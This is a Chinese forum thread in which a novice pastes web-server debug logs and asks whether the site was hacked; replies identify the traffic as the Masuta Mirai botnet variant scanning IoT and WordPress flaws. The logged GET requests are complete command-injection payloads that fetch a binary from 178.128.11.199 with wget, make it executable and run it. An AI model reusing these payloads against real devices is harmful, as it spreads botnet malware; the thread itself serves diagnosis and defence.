新手求帮忙看看 web 后台 控制台输出这些 是不是被人黑了

[sisivol]

网站后台空闲会输出这些 进了这些 IP 看了 里面都是像文件列表一样的

debug: Requested :: GET /cgi-bin/luci/;stok=redacted/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&ping_ip=google.ca%20%3B%20cd%20/tmp%3Bwget%20http://178.128.11.199/rvs%20-O%20/tmp/rz%3Bchmod%20777%20/tmp/rz%3Bsh%20/tmp/rz%20
debug: Requested :: GET /login.cgi?cli=aa%20aa%27;wget%20http://178.128.11.199/qtx.mips%20-O%20-%3E%20/tmp/rz;chmod%20777%20/tmp/rz;/tmp/rz%20dlink%27$
debug: Requested :: GET /cgi-bin/cgi_system?cmd=raid_setup&act=getsmartinfo&devname=|ping%20-n%200%20localhost&rand=1452765315144;wget%20http://178.128.11.199/qtx.mips%20-O%20/tmp/rz;chmod%20777%20/tmp/rz;/tmp/rz%20exploit
debug: Requested :: GET /maker/snwrite.cgi?mac=1234;wget%20http://178.128.11.199/qtx.mips%20-O%20/tmp/rz;chmod%20777%20/tmp/rz;/tmp/rz%20exploit
debug: Requested :: GET /wp-content/plugins/dzs-videogallery/img.php?webshot=1&src=http://localhost/1.jpg$(wget$20http://178.128.11.199/qtx.mips%20-O%20/tmp/rz;chmod%20777%20/tmp/rz;/tmp/rz)

[qinxi]

只是试图让你机器帮忙挖矿而已

[ljcnaix]

这是一个 Mirai 僵尸网络变种叫 Masuta，最近比较活跃，使用 5 个漏洞传播（都是针对 IoT 设备的），只有一个是针对 Wordpress 的，你的网站如果用了 Wordpress 自查一下这个漏洞（ https://www.exploit-db.com/exploits/39250/）就好了，不是 Wordpress 的话更不用担心